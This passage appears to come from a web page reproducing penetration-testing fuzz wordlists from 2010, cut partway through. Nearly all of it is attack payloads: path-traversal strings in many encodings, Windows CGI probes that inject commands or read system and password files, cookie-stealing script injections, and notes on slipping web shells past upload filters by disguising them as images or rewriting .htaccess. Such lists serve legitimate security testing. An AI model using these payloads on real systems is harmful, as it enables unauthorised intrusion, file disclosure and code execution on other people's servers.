..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === PHP-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# PHP-Specific File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> {PHPSCRIPT}.php.doc<br /> {PHPSCRIPT}.php.xls<br /> {PHPSCRIPT}.php.xlsx<br /> {PHPSCRIPT}.php.pdf<br /> {PHPSCRIPT}.php.jpeg<br /> {PHPSCRIPT}.php.gif<br /> {PHPSCRIPT}.php.zip<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> 